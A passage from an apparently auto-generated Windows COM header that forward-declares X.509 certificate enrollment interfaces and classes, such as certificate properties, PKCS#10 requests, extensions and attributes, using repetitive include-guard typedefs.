__ICryptAttribute_FWD_DEFINED__ */\n\n\n#ifndef __ICryptAttributes_FWD_DEFINED__\n#define __ICryptAttributes_FWD_DEFINED__\ntypedef interface ICryptAttributes ICryptAttributes;\n\n#endif \t/* __ICryptAttributes_FWD_DEFINED__ */\n\n\n#ifndef __ICertProperty_FWD_DEFINED__\n#define __ICertProperty_FWD_DEFINED__\ntypedef interface ICertProperty ICertProperty;\n\n#endif \t/* __ICertProperty_FWD_DEFINED__ */\n\n\n#ifndef __ICertProperties_FWD_DEFINED__\n#define __ICertProperties_FWD_DEFINED__\ntypedef interface ICertProperties ICertProperties;\n\n#endif \t/* __ICertProperties_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyFriendlyName_FWD_DEFINED__\n#define __ICertPropertyFriendlyName_FWD_DEFINED__\ntypedef interface ICertPropertyFriendlyName ICertPropertyFriendlyName;\n\n#endif \t/* __ICertPropertyFriendlyName_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyDescription_FWD_DEFINED__\n#define __ICertPropertyDescription_FWD_DEFINED__\ntypedef interface ICertPropertyDescription ICertPropertyDescription;\n\n#endif \t/* __ICertPropertyDescription_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyAutoEnroll_FWD_DEFINED__\n#define __ICertPropertyAutoEnroll_FWD_DEFINED__\ntypedef interface ICertPropertyAutoEnroll ICertPropertyAutoEnroll;\n\n#endif \t/* __ICertPropertyAutoEnroll_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyRequestOriginator_FWD_DEFINED__\n#define __ICertPropertyRequestOriginator_FWD_DEFINED__\ntypedef interface ICertPropertyRequestOriginator ICertPropertyRequestOriginator;\n\n#endif \t/* __ICertPropertyRequestOriginator_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertySHA1Hash_FWD_DEFINED__\n#define __ICertPropertySHA1Hash_FWD_DEFINED__\ntypedef interface ICertPropertySHA1Hash ICertPropertySHA1Hash;\n\n#endif \t/* __ICertPropertySHA1Hash_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyKeyProvInfo_FWD_DEFINED__\n#define __ICertPropertyKeyProvInfo_FWD_DEFINED__\ntypedef interface ICertPropertyKeyProvInfo ICertPropertyKeyProvInfo;\n\n#endif \t/* __ICertPropertyKeyProvInfo_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchived_FWD_DEFINED__\n#define __ICertPropertyArchived_FWD_DEFINED__\ntypedef interface ICertPropertyArchived ICertPropertyArchived;\n\n#endif \t/* __ICertPropertyArchived_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyBackedUp_FWD_DEFINED__\n#define __ICertPropertyBackedUp_FWD_DEFINED__\ntypedef interface ICertPropertyBackedUp ICertPropertyBackedUp;\n\n#endif \t/* __ICertPropertyBackedUp_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollment_FWD_DEFINED__\n#define __ICertPropertyEnrollment_FWD_DEFINED__\ntypedef interface ICertPropertyEnrollment ICertPropertyEnrollment;\n\n#endif \t/* __ICertPropertyEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyRenewal_FWD_DEFINED__\n#define __ICertPropertyRenewal_FWD_DEFINED__\ntypedef interface ICertPropertyRenewal ICertPropertyRenewal;\n\n#endif \t/* __ICertPropertyRenewal_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchivedKeyHash_FWD_DEFINED__\n#define __ICertPropertyArchivedKeyHash_FWD_DEFINED__\ntypedef interface ICertPropertyArchivedKeyHash ICertPropertyArchivedKeyHash;\n\n#endif \t/* __ICertPropertyArchivedKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n#define __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__\ntypedef interface ICertPropertyEnrollmentPolicyServer ICertPropertyEnrollmentPolicyServer;\n\n#endif \t/* __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __IX509SignatureInformation_FWD_DEFINED__\n#define __IX509SignatureInformation_FWD_DEFINED__\ntypedef interface IX509SignatureInformation IX509SignatureInformation;\n\n#endif \t/* __IX509SignatureInformation_FWD_DEFINED__ */\n\n\n#ifndef __ISignerCertificate_FWD_DEFINED__\n#define __ISignerCertificate_FWD_DEFINED__\ntypedef interface ISignerCertificate ISignerCertificate;\n\n#endif \t/* __ISignerCertificate_FWD_DEFINED__ */\n\n\n#ifndef __ISignerCertificates_FWD_DEFINED__\n#define __ISignerCertificates_FWD_DEFINED__\ntypedef interface ISignerCertificates ISignerCertificates;\n\n#endif \t/* __ISignerCertificates_FWD_DEFINED__ */\n\n\n#ifndef __IX509NameValuePair_FWD_DEFINED__\n#define __IX509NameValuePair_FWD_DEFINED__\ntypedef interface IX509NameValuePair IX509NameValuePair;\n\n#endif \t/* __IX509NameValuePair_FWD_DEFINED__ */\n\n\n#ifndef __IX509NameValuePairs_FWD_DEFINED__\n#define __IX509NameValuePairs_FWD_DEFINED__\ntypedef interface IX509NameValuePairs IX509NameValuePairs;\n\n#endif \t/* __IX509NameValuePairs_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplate_FWD_DEFINED__\n#define __IX509CertificateTemplate_FWD_DEFINED__\ntypedef interface IX509CertificateTemplate IX509CertificateTemplate;\n\n#endif \t/* __IX509CertificateTemplate_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplates_FWD_DEFINED__\n#define __IX509CertificateTemplates_FWD_DEFINED__\ntypedef interface IX509CertificateTemplates IX509CertificateTemplates;\n\n#endif \t/* __IX509CertificateTemplates_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplateWritable_FWD_DEFINED__\n#define __IX509CertificateTemplateWritable_FWD_DEFINED__\ntypedef interface IX509CertificateTemplateWritable IX509CertificateTemplateWritable;\n\n#endif \t/* __IX509CertificateTemplateWritable_FWD_DEFINED__ */\n\n\n#ifndef __ICertificationAuthority_FWD_DEFINED__\n#define __ICertificationAuthority_FWD_DEFINED__\ntypedef interface ICertificationAuthority ICertificationAuthority;\n\n#endif \t/* __ICertificationAuthority_FWD_DEFINED__ */\n\n\n#ifndef __ICertificationAuthorities_FWD_DEFINED__\n#define __ICertificationAuthorities_FWD_DEFINED__\ntypedef interface ICertificationAuthorities ICertificationAuthorities;\n\n#endif \t/* __ICertificationAuthorities_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentPolicyServer_FWD_DEFINED__\n#define __IX509EnrollmentPolicyServer_FWD_DEFINED__\ntypedef interface IX509EnrollmentPolicyServer IX509EnrollmentPolicyServer;\n\n#endif \t/* __IX509EnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerUrl_FWD_DEFINED__\n#define __IX509PolicyServerUrl_FWD_DEFINED__\ntypedef interface IX509PolicyServerUrl IX509PolicyServerUrl;\n\n#endif \t/* __IX509PolicyServerUrl_FWD_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerListManager_FWD_DEFINED__\n#define __IX509PolicyServerListManager_FWD_DEFINED__\ntypedef interface IX509PolicyServerListManager IX509PolicyServerListManager;\n\n#endif \t/* __IX509PolicyServerListManager_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequest_FWD_DEFINED__\n#define __IX509CertificateRequest_FWD_DEFINED__\ntypedef interface IX509CertificateRequest IX509CertificateRequest;\n\n#endif \t/* __IX509CertificateRequest_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10 IX509CertificateRequestPkcs10;\n\n#endif \t/* __IX509CertificateRequestPkcs10_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V2_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10V2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10V2 IX509CertificateRequestPkcs10V2;\n\n#endif \t/* __IX509CertificateRequestPkcs10V2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V3_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10V3_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10V3 IX509CertificateRequestPkcs10V3;\n\n#endif \t/* __IX509CertificateRequestPkcs10V3_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V4_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10V4_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10V4 IX509CertificateRequestPkcs10V4;\n\n#endif \t/* __IX509CertificateRequestPkcs10V4_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate_FWD_DEFINED__\n#define __IX509CertificateRequestCertificate_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCertificate IX509CertificateRequestCertificate;\n\n#endif \t/* __IX509CertificateRequestCertificate_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate2_FWD_DEFINED__\n#define __IX509CertificateRequestCertificate2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCertificate2 IX509CertificateRequestCertificate2;\n\n#endif \t/* __IX509CertificateRequestCertificate2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs7_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs7 IX509CertificateRequestPkcs7;\n\n#endif \t/* __IX509CertificateRequestPkcs7_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7V2_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs7V2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs7V2 IX509CertificateRequestPkcs7V2;\n\n#endif \t/* __IX509CertificateRequestPkcs7V2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc_FWD_DEFINED__\n#define __IX509CertificateRequestCmc_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCmc IX509CertificateRequestCmc;\n\n#endif \t/* __IX509CertificateRequestCmc_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc2_FWD_DEFINED__\n#define __IX509CertificateRequestCmc2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCmc2 IX509CertificateRequestCmc2;\n\n#endif \t/* __IX509CertificateRequestCmc2_FWD_DEFINED__ */\n\n\n#ifndef __IX509Enrollment_FWD_DEFINED__\n#define __IX509Enrollment_FWD_DEFINED__\ntypedef interface IX509Enrollment IX509Enrollment;\n\n#endif \t/* __IX509Enrollment_FWD_DEFINED__ */\n\n\n#ifndef __IX509Enrollment2_FWD_DEFINED__\n#define __IX509Enrollment2_FWD_DEFINED__\ntypedef interface IX509Enrollment2 IX509Enrollment2;\n\n#endif \t/* __IX509Enrollment2_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentHelper_FWD_DEFINED__\n#define __IX509EnrollmentHelper_FWD_DEFINED__\ntypedef interface IX509EnrollmentHelper IX509EnrollmentHelper;\n\n#endif \t/* __IX509EnrollmentHelper_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentWebClassFactory_FWD_DEFINED__\n#define __IX509EnrollmentWebClassFactory_FWD_DEFINED__\ntypedef interface IX509EnrollmentWebClassFactory IX509EnrollmentWebClassFactory;\n\n#endif \t/* __IX509EnrollmentWebClassFactory_FWD_DEFINED__ */\n\n\n#ifndef __IX509MachineEnrollmentFactory_FWD_DEFINED__\n#define __IX509MachineEnrollmentFactory_FWD_DEFINED__\ntypedef interface IX509MachineEnrollmentFactory IX509MachineEnrollmentFactory;\n\n#endif \t/* __IX509MachineEnrollmentFactory_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationListEntry_FWD_DEFINED__\n#define __IX509CertificateRevocationListEntry_FWD_DEFINED__\ntypedef interface IX509CertificateRevocationListEntry IX509CertificateRevocationListEntry;\n\n#endif \t/* __IX509CertificateRevocationListEntry_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationListEntries_FWD_DEFINED__\n#define __IX509CertificateRevocationListEntries_FWD_DEFINED__\ntypedef interface IX509CertificateRevocationListEntries IX509CertificateRevocationListEntries;\n\n#endif \t/* __IX509CertificateRevocationListEntries_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationList_FWD_DEFINED__\n#define __IX509CertificateRevocationList_FWD_DEFINED__\ntypedef interface IX509CertificateRevocationList IX509CertificateRevocationList;\n\n#endif \t/* __IX509CertificateRevocationList_FWD_DEFINED__ */\n\n\n#ifndef __ICertificateAttestationChallenge_FWD_DEFINED__\n#define __ICertificateAttestationChallenge_FWD_DEFINED__\ntypedef interface ICertificateAttestationChallenge ICertificateAttestationChallenge;\n\n#endif \t/* __ICertificateAttestationChallenge_FWD_DEFINED__ */\n\n\n#ifndef __ICertificateAttestationChallenge2_FWD_DEFINED__\n#define __ICertificateAttestationChallenge2_FWD_DEFINED__\ntypedef interface ICertificateAttestationChallenge2 ICertificateAttestationChallenge2;\n\n#endif \t/* __ICertificateAttestationChallenge2_FWD_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollment_FWD_DEFINED__\n#define __IX509SCEPEnrollment_FWD_DEFINED__\ntypedef interface IX509SCEPEnrollment IX509SCEPEnrollment;\n\n#endif \t/* __IX509SCEPEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollment2_FWD_DEFINED__\n#define __IX509SCEPEnrollment2_FWD_DEFINED__\ntypedef interface IX509SCEPEnrollment2 IX509SCEPEnrollment2;\n\n#endif \t/* __IX509SCEPEnrollment2_FWD_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollmentHelper_FWD_DEFINED__\n#define __IX509SCEPEnrollmentHelper_FWD_DEFINED__\ntypedef interface IX509SCEPEnrollmentHelper IX509SCEPEnrollmentHelper;\n\n#endif \t/* __IX509SCEPEnrollmentHelper_FWD_DEFINED__ */\n\n\n#ifndef __CObjectId_FWD_DEFINED__\n#define __CObjectId_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CObjectId CObjectId;\n#else\ntypedef struct CObjectId CObjectId;\n#endif /* __cplusplus */\n\n#endif \t/* __CObjectId_FWD_DEFINED__ */\n\n\n#ifndef __CObjectIds_FWD_DEFINED__\n#define __CObjectIds_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CObjectIds CObjectIds;\n#else\ntypedef struct CObjectIds CObjectIds;\n#endif /* __cplusplus */\n\n#endif \t/* __CObjectIds_FWD_DEFINED__ */\n\n\n#ifndef __CBinaryConverter_FWD_DEFINED__\n#define __CBinaryConverter_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CBinaryConverter CBinaryConverter;\n#else\ntypedef struct CBinaryConverter CBinaryConverter;\n#endif /* __cplusplus */\n\n#endif \t/* __CBinaryConverter_FWD_DEFINED__ */\n\n\n#ifndef __CX500DistinguishedName_FWD_DEFINED__\n#define __CX500DistinguishedName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX500DistinguishedName CX500DistinguishedName;\n#else\ntypedef struct CX500DistinguishedName CX500DistinguishedName;\n#endif /* __cplusplus */\n\n#endif \t/* __CX500DistinguishedName_FWD_DEFINED__ */\n\n\n#ifndef __CCspInformation_FWD_DEFINED__\n#define __CCspInformation_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspInformation CCspInformation;\n#else\ntypedef struct CCspInformation CCspInformation;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspInformation_FWD_DEFINED__ */\n\n\n#ifndef __CCspInformations_FWD_DEFINED__\n#define __CCspInformations_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspInformations CCspInformations;\n#else\ntypedef struct CCspInformations CCspInformations;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspInformations_FWD_DEFINED__ */\n\n\n#ifndef __CCspStatus_FWD_DEFINED__\n#define __CCspStatus_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspStatus CCspStatus;\n#else\ntypedef struct CCspStatus CCspStatus;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspStatus_FWD_DEFINED__ */\n\n\n#ifndef __CX509PublicKey_FWD_DEFINED__\n#define __CX509PublicKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PublicKey CX509PublicKey;\n#else\ntypedef struct CX509PublicKey CX509PublicKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PublicKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509PrivateKey_FWD_DEFINED__\n#define __CX509PrivateKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PrivateKey CX509PrivateKey;\n#else\ntypedef struct CX509PrivateKey CX509PrivateKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PrivateKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509EndorsementKey_FWD_DEFINED__\n#define __CX509EndorsementKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EndorsementKey CX509EndorsementKey;\n#else\ntypedef struct CX509EndorsementKey CX509EndorsementKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EndorsementKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509Extension_FWD_DEFINED__\n#define __CX509Extension_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Extension CX509Extension;\n#else\ntypedef struct CX509Extension CX509Extension;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Extension_FWD_DEFINED__ */\n\n\n#ifndef __CX509Extensions_FWD_DEFINED__\n#define __CX509Extensions_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Extensions CX509Extensions;\n#else\ntypedef struct CX509Extensions CX509Extensions;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Extensions_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionKeyUsage_FWD_DEFINED__\n#define __CX509ExtensionKeyUsage_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionKeyUsage CX509ExtensionKeyUsage;\n#else\ntypedef struct CX509ExtensionKeyUsage CX509ExtensionKeyUsage;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n#define __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionEnhancedKeyUsage CX509ExtensionEnhancedKeyUsage;\n#else\ntypedef struct CX509ExtensionEnhancedKeyUsage CX509ExtensionEnhancedKeyUsage;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionTemplateName_FWD_DEFINED__\n#define __CX509ExtensionTemplateName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionTemplateName CX509ExtensionTemplateName;\n#else\ntypedef struct CX509ExtensionTemplateName CX509ExtensionTemplateName;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionTemplateName_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionTemplate_FWD_DEFINED__\n#define __CX509ExtensionTemplate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionTemplate CX509ExtensionTemplate;\n#else\ntypedef struct CX509ExtensionTemplate CX509ExtensionTemplate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionTemplate_FWD_DEFINED__ */\n\n\n#ifndef __CAlternativeName_FWD_DEFINED__\n#define __CAlternativeName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CAlternativeName CAlternativeName;\n#else\ntypedef struct CAlternativeName CAlternativeName;\n#endif /* __cplusplus */\n\n#endif \t/* __CAlternativeName_FWD_DEFINED__ */\n\n\n#ifndef __CAlternativeNames_FWD_DEFINED__\n#define __CAlternativeNames_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CAlternativeNames CAlternativeNames;\n#else\ntypedef struct CAlternativeNames CAlternativeNames;\n#endif /* __cplusplus */\n\n#endif \t/* __CAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionAlternativeNames_FWD_DEFINED__\n#define __CX509ExtensionAlternativeNames_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionAlternativeNames CX509ExtensionAlternativeNames;\n#else\ntypedef struct CX509ExtensionAlternativeNames CX509ExtensionAlternativeNames;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionBasicConstraints_FWD_DEFINED__\n#define __CX509ExtensionBasicConstraints_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionBasicConstraints CX509ExtensionBasicConstraints;\n#else\ntypedef struct CX509ExtensionBasicConstraints CX509ExtensionBasicConstraints;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionBasicConstraints_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n#define __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionSubjectKeyIdentifier CX509ExtensionSubjectKeyIdentifier;\n#else\ntypedef struct CX509ExtensionSubjectKeyIdentifier CX509ExtensionSubjectKeyIdentifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n#define __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionAuthorityKeyIdentifier CX509ExtensionAuthorityKeyIdentifier;\n#else\ntypedef struct CX509ExtensionAuthorityKeyIdentifier CX509ExtensionAuthorityKeyIdentifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __CSmimeCapability_FWD_DEFINED__\n#define __CSmimeCapability_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSmimeCapability CSmimeCapability;\n#else\ntypedef struct CSmimeCapability CSmimeCapability;\n#endif /* __cplusplus */\n\n#endif \t/* __CSmimeCapability_FWD_DEFINED__ */\n\n\n#ifndef __CSmimeCapabilities_FWD_DEFINED__\n#define __CSmimeCapabilities_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSmimeCapabilities CSmimeCapabilities;\n#else\ntypedef struct CSmimeCapabilities CSmimeCapabilities;\n#endif /* __cplusplus */\n\n#endif \t/* __CSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionSmimeCapabilities_FWD_DEFINED__\n#define __CX509ExtensionSmimeCapabilities_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionSmimeCapabilities CX509ExtensionSmimeCapabilities;\n#else\ntypedef struct CX509ExtensionSmimeCapabilities CX509ExtensionSmimeCapabilities;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __CPolicyQualifier_FWD_DEFINED__\n#define __CPolicyQualifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CPolicyQualifier CPolicyQualifier;\n#else\ntypedef struct CPolicyQualifier CPolicyQualifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CPolicyQualifier_FWD_DEFINED__ */\n\n\n#ifndef __CPolicyQualifiers_FWD_DEFINED__\n#define __CPolicyQualifiers_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CPolicyQualifiers CPolicyQualifiers;\n#else\ntypedef struct CPolicyQualifiers CPolicyQualifiers;\n#endif /* __cplusplus */\n\n#endif \t/* __CPolicyQualifiers_FWD_DEFINED__ */\n\n\n#ifndef __CCertificatePolicy_FWD_DEFINED__\n#define __CCertificatePolicy_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertificatePolicy CCertificatePolicy;\n#else\ntypedef struct CCertificatePolicy CCertificatePolicy;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertificatePolicy_FWD_DEFINED__ */\n\n\n#ifndef __CCertificatePolicies_FWD_DEFINED__\n#define __CCertificatePolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertificatePolicies CCertificatePolicies;\n#else\ntypedef struct CCertificatePolicies CCertificatePolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionCertificatePolicies_FWD_DEFINED__\n#define __CX509ExtensionCertificatePolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionCertificatePolicies CX509ExtensionCertificatePolicies;\n#else\ntypedef struct CX509ExtensionCertificatePolicies CX509ExtensionCertificatePolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n#define __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionMSApplicationPolicies CX509ExtensionMSApplicationPolicies;\n#else\ntypedef struct CX509ExtensionMSApplicationPolicies CX509ExtensionMSApplicationPolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509Attribute_FWD_DEFINED__\n#define __CX509Attribute_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Attribute CX509Attribute;\n#else\ntypedef struct CX509Attribute CX509Attribute;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Attribute_FWD_DEFINED__ */\n\n\n#ifndef __CX509Attributes_FWD_DEFINED__\n#define __CX509Attributes_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Attributes CX509Attributes;\n#else\ntypedef struct CX509Attributes CX509Attributes;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Attributes_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeExtensions_FWD_DEFINED__\n#define __CX509AttributeExtensions_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeExtensions CX509AttributeExtensions;\n#else\ntypedef struct CX509AttributeExtensions CX509AttributeExtensions;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeExtensions_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeClientId_FWD_DEFINED__\n#define __CX509AttributeClientId_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeClientId CX509AttributeClientId;\n#else\ntypedef struct CX509AttributeClientId CX509AttributeClientId;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeClientId_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeRenewalCertificate_FWD_DEFINED__\n#define __CX509AttributeRenewalCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeRenewalCertificate CX509AttributeRenewalCertificate;\n#else\ntypedef struct CX509AttributeRenewalCertificate CX509AttributeRenewalCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeRenewalCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeArchiveKey_FWD_DEFINED__\n#define __CX509AttributeArchiveKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeArchiveKey CX509AttributeArchiveKey;\n#else\ntypedef struct CX509AttributeArchiveKey CX509AttributeArchiveKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeArchiveKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeArchiveKeyHash_FWD_DEFINED__\n#define __CX509AttributeArchiveKeyHash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeArchiveKeyHash CX509AttributeArchiveKeyHash;\n#else\ntypedef struct CX509AttributeArchiveKeyHash CX509AttributeArchiveKeyHash;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeArchiveKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeOSVersion_FWD_DEFINED__\n#define __CX509AttributeOSVersion_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeOSVersion CX509AttributeOSVersion;\n#else\ntypedef struct CX509AttributeOSVersion CX509AttributeOSVersion;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeOSVersion_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeCspProvider_FWD_DEFINED__\n#define __CX509AttributeCspProvider_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeCspProvider CX509AttributeCspProvider;\n#else\ntypedef struct CX509AttributeCspProvider CX509AttributeCspProvider;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeCspProvider_FWD_DEFINED__ */\n\n\n#ifndef __CCryptAttribute_FWD_DEFINED__\n#define __CCryptAttribute_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCryptAttribute CCryptAttribute;\n#else\ntypedef struct CCryptAttribute CCryptAttribute;\n#endif /* __cplusplus */\n\n#endif \t/* __CCryptAttribute_FWD_DEFINED__ */\n\n\n#ifndef __CCryptAttributes_FWD_DEFINED__\n#define __CCryptAttributes_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCryptAttributes 